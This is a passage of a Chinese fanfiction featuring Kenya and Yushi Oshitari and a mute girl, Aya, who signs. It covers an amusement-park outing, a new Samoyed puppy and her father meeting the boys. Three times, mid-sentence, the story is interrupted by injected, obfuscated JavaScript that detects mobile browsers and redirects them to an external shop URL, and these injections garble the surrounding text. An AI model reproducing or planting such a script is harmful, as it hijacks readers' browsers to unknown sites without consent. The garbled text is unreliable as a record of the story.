忍足侑士虽然没看懂,但在他们的交流中也大致明白了小彩比划的手势的意思,也跟着做了保证:“谦也说的对,我们不会再吵了。” 片桐彩这才放下心来,把搁在花坛边的小册子收回包里。 由于身上绑了防走失系带,这一次她并未和朋友们牵手,只是一道并肩前行。 刚才她都已经做好他们看不懂她的手语,要在小册子上写出来的打算了,可是谦也一下子就看明白了。 谦也好厉害。 接下来是不是可以请谦也帮着翻译,不用在小册子上写写画画了呢? 她兴奋地戳了戳谦也的胳膊,对着他比划起来。 ‘你看得懂手语吗?好厉害!’ 忍足谦也不好意思地用指节蹭了蹭鼻尖:“只看得懂一点点啦……我老爸是开业医,偶尔也有听障患者来看病,我跟着老爸学了一点,他比我懂的多多了。” ‘好厉害!’小彩惊讶地瞪大了双眼,‘那你以后也想做医生吗?’ “这种事情我倒是还没有想过啦,”谦也摆摆手,好奇地望向女孩:“小彩呢?你有想做的事情吗?” 片桐彩思索了一瞬,比划道:‘我也不知道……这种问题好像有点为难小孩子。’ “你是小孩子,我也是小孩子吧,”谦也嘟囔着:“你问我我就不为难了吗?” 小彩被他的问题逗笑了,她悄悄地掩住上扬的唇角,又比划了几下:‘但谦也是哥哥,哥哥应该更有想法吧。’ “这么说的话最有想法的应该是侑士才对,他才是我们之间年纪最大的,”谦也往后仰了仰身子,望向走在最外侧的堂哥:“你说是吧,侑士?” 忍足侑士直直地盯着前方看,目光沉沉,也不知道在想些什么。 见他们点到他的名,他才扭过脸来,慢悠悠地开口:“再不快点走,和卡匹帕君合照就困难了——你们没发现人越来越多了吗?” “啊!还真是!” 忍足谦也这才注意到远处有一大波小孩朝这里涌来,他连忙抓起片桐彩的手,“嗖”地就往那边冲去。 由于小彩的腰间还连着忍足侑士的系带,连带着他也不得不跟着一块儿跑了起来。 忍足谦也跑步的速度一向很快,小彩跟着有些吃力,他跑出去几步才注意到女孩的不适,不动声色地放慢了自己的步伐。 在大批小孩赶到以前,他们三人抢先一步到达卡匹帕君的面前。 忍足谦也大声地和一旁的摄影师交涉:“打扰了,请给我们和卡匹帕君合照!要拍三张!” 摄影师从容地点点头:“一起还是分开照?” 小彩犹豫了一下,牵住他们的手,忍足侑士会意道:“一起,出三张片好了。” 摄影师比了个“OK”的手势,举起相机一张一张地给他们拍。 卡匹帕君站在他们身后,揽着两个男孩的肩,小彩紧张地站在正中间,动也不敢动。 直到摄影师把三张撕拉片交到他们手里时,她才松了一口气。 她好久没有在外面拍过相片了,稍微有些紧张。 等她凑到拿着相片的忍足侑士身边时,他已经把相片处理好了。 三张相片虽说不是同时出的片,但看起来似乎也没什么区别。 忍足谦也此刻正在摄影师那边付钱,也不知道摄影师说了些什么,他竟兴致勃勃地和摄影师交谈起来,时不时地还比划几下。 那边正在进行友好交流,这边忍足侑士则捏着三张相片给片桐彩看。 他摊开三张相片:“小彩想要哪一张?” 片桐彩一脸凝重地盯着相片,似乎在做什么艰难的抉择,过了好半晌,她才伸出手指,点了最中间的那一张。 虽然三张看起来没什么区别,但正中间那张的背景里,有一只气球在半空中飘着,她喜欢气球。 忍足侑士把相片递给她,她欢欣地捧着相片,小心翼翼地夹在自己的小册子里防止折角。 他觑着面前格外欣喜的女孩。 小彩的一双杏眼亮晶晶的,珍惜地捧着相片的模样叫他想到了白兔神社的小兔子雕像,它们也总是珍惜地捧着游客们塞到它们怀中的糖果。 虽然只去过一次,但他对那里的印象深刻极了。 可惜的是,那一次他没能求得他和谦也养的小兔子的平安,不过他在那里得到了些别的什么。 他敛着眸子,把剩下的两张相片塞进自己的背包,准备回去以后再和堂弟分。 忍足谦也这时候也从摄影师那里回来了,见他这么做也没说什么—— 他们年龄相仿,只相差不到半岁,从小一道长大,早就习惯了这么做,不分彼此的时刻也常有,只是物品放在谁那里这种小事,根本就不算什么。 “接下来小彩想去哪里?”忍足谦也凑在她身边,四处张望着:“想要先去玩点什么?还是吃点什么?” 片桐彩认真地思考了一会儿,却也没什么头绪。 她扫了眼周围的设施,一辆色彩夺目的冰淇淋车吸引了她的注意,她的目光停留在冰淇淋车上,久久不能动弹。 ‘要不我们先去吃点东西吧?我请你们吃冰淇淋!’ 忍足谦也辨认着她的手势,用手肘顶了顶站在一旁的堂哥:“小彩说要请我们吃冰淇淋,侑士,先去冰淇淋车那里吧?” “嗯,”忍足侑士自然地牵过片桐彩的手,带着她往冰淇淋车的方向快步走去:“小彩想吃什么口味的?” 他们往前走了几步,小彩的脚步明显慢了下来。 她眨巴眨巴眼睛,回头望了望被他们落在身后的忍足谦也,又轻轻晃了晃他们相握着的手,停下脚步。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547771|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ‘等谦也。’ 虽然她并未做出什么手势,但忍足侑士还是从她的眼睛里看出了她的意思。 他顺着她的意思停下,目光沉沉地往后望去。 小彩朝着谦也招了招手,示意他快点。 忍足谦也从堂哥完全不等他的愕然中醒过神来,加快了脚步,几乎是小跑着跟了上来。 他们之间相隔的距离原本就没几步路,这么一跑,很快又凑到一块儿去。 小彩对他伸出手,两人的手又嵌在了一起。 她的心情似乎很好,牵着他们的手一晃一晃的,要是她能够发出声音,忍足谦也甚至觉得她大概会哼点什么小调。 三人径直行至冰淇淋车旁,片桐彩兴高采烈地从自己的小羊挎包里掏出零钱包,找出足够三个人吃冰淇淋的钱,交到忍足谦也手里。 谦也毫不客气地要了一个香草味的,还帮着小彩点了一个她想要的巧克力味。 他三两下就干掉了属于自己的那一份,转而望向一旁久久不言、也不知道在想些什么的堂哥,困惑地问道:“侑士,你不吃吗?” 说着,他点了点菜单上印着的冰淇淋:“这里有你喜欢的椰奶口味,要吃这个吗?” 忍足侑士像是才回过神一般,颔首道:“好,那就麻烦谦也帮忙点单了。” 忍足谦也被他的态度弄得打了个寒战,一边帮着点餐一边嘟嘟囔囔的:“怎么突然这么客气,不会又憋着什么坏吧……” 忍足侑士无语地拍了下他的背,“我不是一直都这样?” “哼,”忍足谦也不服气地哼了一声,随手把他的那份冰淇淋递过去:“喏,礼貌的侑士,记得要谢谢小彩大人。” 忍足侑士下意识朝片桐彩望去,女孩正一边吃着冰淇淋,一边好奇地打量着他们。 她似乎对他们的相处方式颇感兴趣,一双清凌凌的眼睛直勾勾地盯着他们,半刻也不放松。 这就是年龄相仿的家人吗? 感觉比朋友要亲近好多好多倍,也默契好多好多倍。 小彩羡慕地望着他们兄弟两个,吃冰淇淋的速度也渐渐慢了下来。 夏日灼灼,冰淇淋化得很快。 小彩反应过来时,虽然加倍努力地以最快的速度吃了,但她的脸上手上还是沾满了巧克力色的汁液。 忍足谦也笑嘻嘻地戳了戳她的脸:“小彩吃得太慢啦,要加快点速度才行——这样看好像山狸哦。” 小彩不满地把剩下的冰淇淋一股脑儿塞进嘴里,冰淇淋一下子塞得太多,冷意直直地刺进她的脑袋,冰得她太阳穴生疼。 她想要揉揉自己的脑袋缓解一下,却因着手上的冰淇淋液没敢动弹。 开玩笑,要是她的脑袋上也蹭上了怎么办? 尤其是帽子,她今天出来只带了这一顶帽子,要是蹭脏了就不能戴了。 她为难地皱了皱鼻子,一双热乎乎的手突然摁住了她两边的太阳穴,轻轻地按揉了几下。 她仰起脸,视线却被帽檐挡住了,看不清对方的脸。 忍足侑士的声音飘进她的耳朵:“不要一下子吃那么多,下次注意。” 片桐彩轻轻地点点头,她绝对绝对不会再一下子吃这么多了! 这是一次惨痛的教训! 冰淇淋车的八音盒音乐还在欢快地响着,一张湿巾覆上了她的手掌,柔软的无纺布在她指间来回磨蹭了几下。 冰冰凉凉的温度叫她往回缩了缩手,却被对方紧紧捏住,动弹不得。 “别动,先擦干净再说,这里的洗手池要走好远才能到。” 谦也……力气好大。 靠谱的侑士,靠谱的谦也。 要是她也有这样的家人就好了。 小彩莫名想道。 家人之间的关系是这个世界上最最牢固、最最靠谱的关系,没有之一。 至少……比朋友关系要靠谱得多。 8. 第 8 章 唔……好痒。 片桐彩挠了挠有些酥麻的脸颊,又把脸埋进柔软的被子里。 只是这令人感到头皮发麻的触感并未放过她,就算她的脸埋进被子里也没能逃过。 痒痒的。 手背上湿漉漉的,温热的触感让她稍稍醒了醒神,她艰难地撩起眼皮,望了眼不断作乱的可疑生物。 白的,软乎乎的。 是棉花糖吗? 小彩困顿地眨着眼,下意识想要揉揉眼睛,却被那团棉花糖一下子扑到了脸上。 桃子香氛的气味扑面而来,柔软的毛毛黏黏糊糊地在她脸上蹭来蹭去。 呜啊!哪里来的毛!! 她被吓了一跳,这下彻底醒了过来。 “汪!” 那朵棉花糖中气十足地叫了一声,又亲昵地蹭了蹭她的脸。 小狗? 是小狗耶! 片桐彩惊喜地抱住了它,它也相当乖巧地依偎在她怀里,舔了舔她的脸颊。 “小彩睡醒了吗?” 一道熟悉的男声从门口的位置传进来,她惊喜地从床上跳下去,跑到门边抱住了说话那人的腿。 是爸爸! 小彩好久没见到爸爸了! 她举起双手和父亲要抱抱,片桐纪久一把把她抱起来,架在自己的胳膊上。 他轻轻摸了摸女儿的脸颊,凌厉的眸中带着笑意:“小彩想不想爸爸啊?” 小彩重重地点点头。 她当然想爸爸了,不过他总是很忙,虽然他每天都有打视讯来,但也只是视讯而已。 视讯和见面总是不一样的。 “以后小彩就能经常见到爸爸了,”片桐纪久怜爱地搓了搓她的脸:“爸爸以后每周有四天都在大阪,可以多陪陪小彩了。” 片桐彩惊喜地睁大了双眼,小手比划了几下:‘真的吗?’ “当然是真的,爸爸什么时候骗过你了?”他笑眯眯地蹭了蹭女儿的脸:“今天爸爸带你去玩沙盘游戏好不好?小彩赶紧去洗漱一下吧。” 沙盘游戏! 小彩喜欢沙盘游戏! 但是…… 片桐彩为难地皱起了眉,今天她和侑士谦也约好了要一起玩的。 片桐纪久一下就看出了女儿的为难。 虽然不知道原因,但他还是柔声道:“小彩是有什么行程吗?抱歉,是爸爸的失误,没有提前问过小彩就去预约了,那沙盘游戏改到明天去,怎么样?” 小彩犹豫着点点头。 “汪!” 一旁的小狗叫了一声,毛绒绒的尾巴摇得像个小螺旋桨,似乎在提示他们它的存在,小彩这才注意到她把小狗给忘记了。 她对着父亲打了一串手语:‘这只小狗是爸爸带来的吗?’ 片桐纪久笑道:“对,小彩不是想要一位动物伙伴吗?爸爸给小彩选了一只小萨摩耶,小彩喜欢不喜欢?” 片桐彩重重地点点头,眉眼弯弯的,脸上绽开了一个大大的笑容:‘我特别特别喜欢!谢谢爸爸!我会好好照顾它的!’ “好,那它就交给小彩了哦?”片桐纪久把她放下,“爸爸先去给你做早餐,小彩去洗漱吧,一会儿再和你的新伙伴玩。” 小彩乖巧地应下,“啪嗒啪嗒”地踩着拖鞋跑去盥洗室,小萨摩耶也跟着她跑走了。 片桐纪久轻叹了一声,拿出手机给医生发了条推迟到访的讯息。 得到了对方的回复后,这才去厨房给女儿做早餐。 片桐沙友理从外间进来,小声问道:“姐夫,你们今天不去了吗?” “嗯,小彩好像有什么想做的事情,”片桐纪久熟练地打着鸡蛋,蛋液在碗里高速翻转着,泛出白色的泡沫:“改成明天了,明天去也行。” “她好像是和隔壁家的小孩有约吧,说是今天要一起做什么来着……” 片桐沙友理打开冰箱,在里面挑挑拣拣,选出了一瓶果酱:“她最近和隔壁家的小孩玩得挺好的,几乎每天都要见面。” 片桐纪久沉吟片刻,问道:“难得小彩愿意交朋友,隔壁家的小孩人怎么样?” “还不错,”沙友理回忆了一下,“那孩子看起来有点冷淡,但是性子挺温和的……还有一个孩子,我没见过,但是听小彩说也挺不错的,很活泼,好像是隔壁那孩子的亲戚。” “这样啊……听起来都还不错。” 话虽如此,片桐纪久还是有些忧心忡忡。 他害怕女儿再次受到伤害,在她的交友问题上,他总是放不下心来。 过去他总以为小孩子不会有什么坏心眼,但是他错了,小孩子之间的恶意才是最残忍的。 小彩好不容易摆脱了一些当初的影响,要是在这个关口再被打击一次…… 他承认他是有点杯弓蛇影,但小彩是他唯一的、最珍爱的女儿,他想要为她排除万难,让她能够快快乐乐地长大。 这不仅是他的愿望,也是他过世的爱人的愿望。 他盯着锅内慢慢成型的蛋液,用筷子挑了挑,把蛋皮卷了起来。 …… 片桐彩洗漱完毕,一路小跑来到厨房。 空气中弥漫着厚蛋烧的香甜气味,她抽着鼻子,轻轻地嗅了两下。 片桐纪久看着女儿可爱的模样,心都要化了:“小彩洗漱完了吗?” 她重重地点了点头,冲着他亮出了她洁白的牙齿让他检查。 片桐纪久捧着她的脸,上下左右仔细地瞧了几眼:“嗯,小彩很棒!牙齿很干净,脸也很干净。” 一旁跟着她一道跑进来的小狗也跟着“汪汪”叫了两声,似乎在附和他的话。 小彩腼腆地笑了笑,把脸藏进父亲的手里。 片桐纪久关了火,轻手轻脚地捏捏她的脸:“该吃早餐了,小彩可以帮爸爸把装着苹果的碗端去餐厅吗?” 小彩自信地拍拍胸脯,‘没问题!交给我吧!’ 她兴冲冲地端起放在流理台上的小碗,快步到餐桌旁坐下。 片桐沙友理已经吃完了自己的那一份面包,醋意十足地点了点她的额头:“爸爸来就这么高兴吗?和姑姑一起住不开心吗?” 小彩亲热地和姑姑贴贴,柔软的脸颊在她的脸上蹭来蹭去:‘和姑姑一起住也开心的,姑姑最好了!’ 沙友理心满意足地在她脸上亲了一口:“姑姑去店里了,小彩要想姑姑哦。” 小彩点点头,乖巧地和她挥手告别。 沙友理本还想再抱抱她,可惜时间不等人,她今天有个大单要做,再不走就来不及了。 她匆匆忙忙地离开,门“砰”的一声关上了。 “冒冒失失的,还是和小时候一样。” 片桐纪久从厨房里走出来,无奈地叹了口气。 他把早餐一样一样地摆到小彩的面前,满目慈爱地看着自己的女儿:“小彩,快吃吧,吃完了爸爸带你去买新衣服。” 新衣服! 片桐彩的眼睛“噌”的一下亮了起来。 她喜欢漂亮的衣服,也喜欢漂亮的首饰,每次去逛街都特别开心。 只是今天的话,好像不行。 她犹犹豫豫地思考了好半天,最终还是冲着父亲摇了摇头。 ‘对不起,爸爸,我还是不去了。’ 片桐纪久疑惑道:“你和你的朋友连早上也约了吗?” ‘嗯,’小彩点点头:‘我们约了一整天哦,今天我请他们来家里玩了。’ 她看了眼手表上的时间,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547772|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划着:‘应该就快到了,爸爸,我们下次再一起去买新衣服吧?’ 片桐纪久当然尊重女儿的选择:“那就明天玩完沙盘游戏再去吧?” 小彩兴高采烈地应下。 她盯着碗里的食物,突然想到了什么,小手比划比划:‘爸爸,小狗要吃什么呢?’ 片桐纪久帮着顺了顺女儿的头发:“它吃狗粮,爸爸早上已经喂过它了。” 片桐彩这才放下心来,细嚼慢咽地吃着属于自己的那份早餐。 直到她碗里还剩个底的时候,门铃突然响了起来。 啊!应该是侑士和谦也! 她本想迅速把食物全部塞进自己的嘴里去开门,却被片桐纪久给拦住了。 “爸爸去开门,小彩不着急,慢慢吃。” 小彩眨巴眨巴眼睛,乖巧地点点头。 片桐纪久快步走到门前,对着猫眼往外望了望,却没能望见人。 应该是她女儿的那两个朋友吧。 他摁下门把手,小孩子嘛,个子矮一点,从猫眼里看不见也挺正常的。 就是不知道是什么样的孩子。 能和小彩玩到一块儿去应该是有共同爱好的吧,比如都喜欢漂亮衣服什么的,大概率也是可爱的小女孩吧…… 门开了。 两颗毛茸茸的脑袋映入眼帘。 片桐纪久松弛了面部肌肉,笑眯眯地打量着面前的两个孩子。 这俩孩子穿得还挺酷,是最近流行的风格吗? 他把声音放柔了些:“你们是来找小彩的吗?先进来吧,她还在吃饭,欢迎你们来玩。” 两个孩子不知为何往后退了几步,当他们抬起脸的那一刻,片桐纪久猛然愣住了。 他们警惕地盯着他,两张脸虽然都很稚嫩,但怎么看都不是女孩子的脸。 男孩子,还是两个。 晴天霹雳。 片桐纪久只觉得天都要塌了。 倒也不是他不愿意让女儿和男孩玩……好吧,他就是有点介意。 他总是忍不住把自己的经历投射出去——虽然不是人人都这样,但他就属于心思不纯的那一类,他和小彩的妈妈从小就在一起玩,玩着玩着就恋爱结婚了。 不过他们都还是小孩子而已,这种没影的东西完全没必要考虑。 他真是个脑子进水思想糟糕的大人。 这是小彩交到的新朋友,关系很不错的新朋友…… 他深吸一口气,脸上的笑容稍显僵硬:“那个,孩子们,先进来吧?” 对面的两个小孩瞥了他一眼,在一旁嘀嘀咕咕的。 凭着他优异的听力,片桐纪久轻易就听清楚了他们之间的谈话。 “侑士,你见过他吗?他是谁?” “不知道,我也是第一次见到这个人。” “他看起来不像好人,笑得也很奇怪……小彩不会被他控制了吧?要不要报警?” …… 够了啊喂! 他哪里不像好人了! 片桐纪久眼前一黑。 他可是小彩的爸爸哦!是爸爸! 她的亲生父亲! 手指被一只热乎乎的小手抓住,他这才醒过神来,抱起女儿安抚一下自己受伤的心灵。 “小彩,你怎么出来了?早餐吃完了吗?” 片桐彩气呼呼地鼓起脸颊:‘吃完啦!你们怎么还不进来?我都等了都好久了哦。’ 忍足谦也瞪大了双眼,惊诧道:“小彩,这是你的家人吗?” 小彩点点头:‘嗯,他是我爸爸。’ 爸爸……?! 忍足谦也的视线慢慢聚焦在片桐纪久的脸上。 不是……这差异未免也太大了吧!!! 9. 第 9 章 这差异未免也太大了吧!!! 忍足谦也望着片桐纪久的脸,心情复杂。 如果说片桐彩像一片小云彩一样柔软可爱,那片桐纪久就像一块冷硬的铁,棱角分明,眼神凌厉,看着就不好惹。 再加上他的体块很大很结实,很难不让人产生一些奇怪的刻板印象。 比如他是个mafia什么的…… 小彩大概是长得像妈妈吧。 忍足谦也还处于震撼的情绪中,忍足侑士先一步和片桐纪久问好:“叔叔您好,很抱歉刚才失礼了,我们只是有点担心小彩,不是故意的。” 闻言,谦也也立刻从杂乱的思绪中抽离出来,跟着堂哥一道冲着小彩爸爸鞠了一躬:“真的非常抱歉!” 片桐纪久当然不会和小孩子计较什么。 虽说这种情况他早就习惯了,但他偶尔还是会感到有些无奈。 “没关系,”他帮孩子们抵着门,侧了侧身子让他们进来:“先进来吧,小彩也很期待和你们见面呢。” 片桐彩也不愿意在父亲怀里坐着了,挣扎着要下去,片桐纪久尊重女儿的想法,轻轻地把她放到地上。 ‘我们先去看小狗吧!爸爸送了一位动物朋友来陪我!’ 小彩兴奋地打着手语,动作快得几乎叫人有些看不清她的手势:‘小狗还没有起名字,你们一起帮我起名怎么样?’ 她也没管小伙伴们答没答应,一手牵起一个,一路小跑着来到客厅。 小萨摩耶见到她来,也开心地“汪”了一声扑过来。 它似乎对所有人都很亲近,面对第一次见到的、完全陌生的忍足兄弟也没有丝毫的排斥,轻轻地用脑袋蹭了蹭他们的腿弯。 好可爱…… 忍足侑士忍不住摸了摸它的脑袋。 小狗的毛毛很软,很好挼,也不知道洗澡用的香氛是谁选的,闻起来甜丝丝的。 友好,黏糊。 和它的小主人一模一样。 自从一同去过卡匹帕乐园以后,小彩和他们的关系明显好了起来。 他原以为小彩是有些距离感的、腼腆羞涩的小女孩,但事实证明是他错了。 熟起来以后,她简直就黏糊得不得了,见了面一定要牵着手才行。 谦也对此适应良好,甚至很高兴和她贴贴,但他就有点难以接受了。 他很少和人有肢体接触,偶尔牵一牵倒是没什么,每天都这样……实在是太黏糊了点。 小狗显然更喜欢热情的谦也,被堂弟带着玩了两下就抛弃了他,高高兴兴地和谦也一起玩起了盒子里的狗狗玩具。 小彩也坐在小狗身边,热切地盯着它看。 总感觉自己好像被抛弃了。 忍足侑士坐在一边,心里莫名产生了一种奇妙的危机感。 他把手轻轻搭在女孩的肩上,小声问道:“小彩,它叫什么名字呢?我好像还没听你提起过。” 片桐彩被他这么一问,稍稍愣了一下。 她秀气的眉毛紧紧地蹙在一起,双唇紧抿,似乎在努力地思考着什么。 啊,应该是还没有给小狗起名。 忍足侑士心下了然。 他没有去打扰她,只是在一旁静静地等待她思考的结果。 忍足谦也并没有注意到这里的情况,还在傻呵呵地和小萨摩耶玩着拉环。 ‘骑士,骑士怎么样?’ 片桐彩想了半天,比划了几下。 直到比划完她才意识到,侑士是看不懂手语的。 她下意识就要去拉拉忍足谦也的衣摆,让他来帮忙翻译一下,可还未等她碰到谦也,她的手就被忍足侑士握住了。 “骑士?”他扬了扬眉,不动声色地打量了那边傻呵呵的小狗一眼:“小彩怎么想到给它起这个名字?” 咦? 侑士竟然看懂了耶! 他懂手语了吗? 小彩的脑袋里全部被小狗的名字填满了,一转眼就忘记了这回事。 她眨巴眨巴眼,好奇地问道:‘不好听吗?’ “很好听,小彩是取名大师,”忍足侑士煞有其事地点点头,眉眼间流露出些微笑意:“它是骑士的话,那小彩是公主吗?” ‘怎么可能!’ 片桐彩气鼓鼓地比了个大大的叉,‘小彩是小彩大王,骑士是王的骑士。’ “原来如此,是我说错话了,抱歉,”忍足侑士郑重地和朋友表达歉意:“小彩大王可以原谅我吗?” 小彩点点头。 她才不会把这种事情放在心上呢! 妈妈说过,真正的王者是大度宽容的,才不会因为一点点小事就生气。 “什么小彩大王?” 忍足谦也终于从和小狗骑士的拉环对抗中抽离,他好奇地凑到堂哥和朋友身边,追问着刚才发生的事情。 “没什么,只是我不小心惹小彩不高兴了,”忍足侑士轻描淡写一笔带过,“小彩给小狗起了名字,叫‘骑士’。” “哇!骑士!好酷的名字!” 忍足谦也双眸亮晶晶的,一副很是憧憬的模样。 “骑士哦,骑士会保护小彩的吧?”他的目光在小萨摩耶身上睃巡着,若有所思地摩挲着下巴:“不过它现在还太小了,不够壮实……唔唔,还需要一些特别训练才行。” ‘特别训练?’ 片桐彩显然对这件事情感到很好奇,她歪着脑袋想了想:‘和《小羊警卫队》里小羊警官学校的训练课程差不多吗?’ 忍足谦也想了想:“算是吧,说到学校,我看还有狗狗学校什么的,会教小狗们一些技能,还有如何开心玩耍……总之小狗也要和我们一样学习一些新东西才对!” ‘哇!谦也懂的好多!好厉害!’ 小彩相当捧场地拍拍手,一双水润的眼睛里写满了崇拜:‘那我们应该去哪里找小狗学校,给骑士上学呢?’ “这个的话,我就不知道了,”忍足谦也遗憾地叹了口气:“小狗学校很神秘,我也不知道要去哪里报名比较好。” 正当他俩唉声叹气之际,忍足侑士的声音响了起来。 “一些简单的技能不用去小狗学校,骑士在家学也能够学会的。” 片桐彩的眼睛“噌”的一下亮了起来。 真不愧是靠谱的侑士! 她欣喜地凑到好朋友侑士的身边,‘侑士懂的好多!好厉害!’ ‘那是要我们自己教吗?要怎么教比较好呢?’ 忍足侑士垂着眸子,一下一下地顺着骑士柔软的毛毛:“真奇怪,这句话怎么有种似曾相识的感觉。” 呜啊…… 又来了,又来了! 那种怪怪的感觉又来了! 小彩打了个激灵,总感觉气氛有些微妙。 忍足谦也大大咧咧的,根本就没注意到这种微妙的氛围。 他似乎想到了什么,恍然大悟地以拳击掌:“对哦!侑士是知道要怎么教小狗的,他以前有学过来着。” 他毫不客气地拍了拍堂哥的肩膀,“我记得你在大伯工作的地方和一个叔叔学过吧?他家养的好像也是萨摩耶来着——要不就让侑士来教吧?” “是这样没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547773|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,”忍足侑士状似为难地蹙起了眉:“不过这样不好吧,这是小彩的‘骑士’。” ‘侑士来教吧!我们是好朋友嘛,我的狗狗伙伴也是侑士的狗狗伙伴!’ 片桐彩扬着唇,脸侧蜷曲的小碎发随着她的动作一颤一颤的。 在谦也期待的眼神中,她又比划了几下:‘当然!也是谦也的狗狗伙伴!我和谦也也是好朋友!’ 忍足谦也满意了。 他昂起脑袋清了清嗓子,一本正经道:“那骑士就要上家里蹲学校啦!侑士是大老师,我和小彩是……嗯……是……” 是什么他突然一下子想不起来了。 幼稚园会有好几个老师,一个大老师,两个帮大老师忙的老师。 那样的老师是叫什么来着? 谦也绞尽脑汁苦思冥想,最终还是皱着脸败下阵来。 忍足侑士不忍多看,无力吐槽。 “我猜你想说的是助教老师?那个也不叫大老师,叫主班老师。还有,你知道家里蹲是什么意思吗……” 他像个小大人一样扶着额,一副忧心忡忡的样子:“谦也,你还是不要再继续跑来跑去的了,多看点书吧……总感觉再跑下去,你的大脑里就全部都是肌肉了。” 堂哥就差没把“笨蛋”两个字说出口了,忍足谦也气恼地瞪了他一眼。 “我才没有那么笨!”他气哼哼地鼓起了双颊:“我只是一时之间没能想起来而已!” “哈……”忍足侑士叹了口气,敷衍地点点头,“你说的对,所以你知道家里蹲是什么意思吗?” 忍足谦也回忆着前些天和妈妈看的电视节目里的内容,思索道:“家里蹲不就是那个……唔……不就待在家里的意思吗?” “词汇本意确实是这样没错……算了,”他一时间不知道要怎么解释比较好,最终只是拍了拍堂弟的肩:“你只要知道这个词不算太正面就好了。” “好吧,那就是私立狗狗学校,”忍足谦也又捏起骑士衔着的拉环,不轻不重地和它玩起了拉力游戏:“侑士是主班老师,我和小彩当助教老师。” 片桐彩连连点头,一副很是期待的模样。 忍足侑士应道:“那以后我每天都来教骑士。” 他想了想,又道:“不过我明天就要去比赛了,得四天左右才能回来。” ‘那就等侑士回来以后再训练好了!’片桐彩体贴地比划比划:‘刚好这四天骑士可以适应一下家里的生活。’ 她的眼睛湿漉漉的,仰脸望向他。 在家里的时候,她倒是没有戴着帽子,白色的发丝打着卷,蓬松地贴在她的脑袋上。 骑士乖巧地依偎在她怀里,这会儿不知为何,也仰着脸看他。 好像,好乖。 诡异的既视感再次袭来,忍足侑士强行按捺自己想要摸摸女孩脑袋的想法。 按捺……按捺…… 按捺不住了! 他相当自然地伸手揉了揉她的头发,柔软的发丝在他的掌心下轻轻磨蹭着,聚合又散开。 小彩疑惑地歪了歪脑袋,像是在问他为什么突然摸摸。 忍足侑士这才故作镇定地收回了手,只是目光还黏黏糊糊地钉在她雪白的发上。 忍足谦也倒是没那么客气,堂哥摸了,他也要摸。 他兴冲冲地搓了搓小彩的脑袋,嘴里还嘟嘟囔囔地念叨着“好乖好乖”。 片桐纪久端着装满点心和果汁的托盘走来时,看到的就是这样一幕。 啊!可恶的臭小鬼! 不要把他可爱的女儿当成小狗一样揉搓啊! 10. 第 10 章 可恶的臭小鬼! 不要把他可爱的女儿当成小狗一样揉搓啊! 虽然打断正在嬉闹的孩子们不太好,但片桐纪久还是清了清嗓子,走到孩子们面前。 “欢迎你们来家里玩,”他极力在脸上挤出一个自认为亲和力十足的笑容:“这些是点心,请尽情享用吧。” 片桐彩拉拉父亲的衣角:‘爸爸可以把这些送去我的房间吗?’ “啊……嗯,可以啊,”片桐纪久不明所以:“怎么突然要转移阵地了?是因为爸爸在这里你们不自在吗?那爸爸去书房好了,你们在客厅玩。” 小彩摇摇头:‘不是这么回事,是我们约定好了今天要去看小绊的,小绊现在在小窝里躺着哦。’ “原来如此,”他无奈地牵动着嘴角:“除了点心以外,还有什么东西要爸爸帮你拿上去吗?” 小彩认认真真地想了好一会儿,最终还是摇摇头:‘没有了,谢谢爸爸。’ “那你们在前面走,爸爸跟在你们后面送你们上去。” “失礼了——”/“失礼了。” 两个男孩被片桐彩一手牵着一个往楼上去,小狗骑士也亦步亦趋地跟在他们身边。 片桐纪久走在后面,托着托盘的手稳稳当当的,杯中的饮料连个水波都没有漾起。 等孩子们都进了房间以后,他放下手中的托盘,在门外“吧嗒吧嗒”地摁着手机按键,也不知道在做些什么。 小彩回到房间以后显然情绪要高涨很多,她兴致勃勃地为两个朋友一人找了一个坐垫,让他们在小几边坐下。 小狗骑士似乎是玩累了,随意找了个软和的角落,抱着它的小玩偶乖乖地趴在一边。 忍足侑士的目光在房间内回环了一圈,却始终没能找到她所说的那位名叫“小绊”的朋友。 她曾给他和谦也介绍过这个陪着她长大的好朋友,据说非常温柔体贴善解人意,就是有点冷冰冰的。 是今天没来吗? 可是她刚刚还说小绊在家里——他的手语在短时间内还是不能提升到沟通全能的程度,他只看明白了“在家”这个词汇。 他细心地观望一阵,这才谨慎地开口问道:“小彩,你要同我们介绍的朋友今天没有来吗?” 片桐彩闻言疑惑地歪了歪脑袋。 她朝着他身后的方向指了指:‘就在那里啊,在你身后哦。’ 他尚且还没什么反应,忍足谦也倒是“噫”地轻呼一声,像个小弹簧一样弹了起来。 他战战兢兢地往后望了一眼,又迅速撇过脸,僵直的身体宛若一座冰雕。 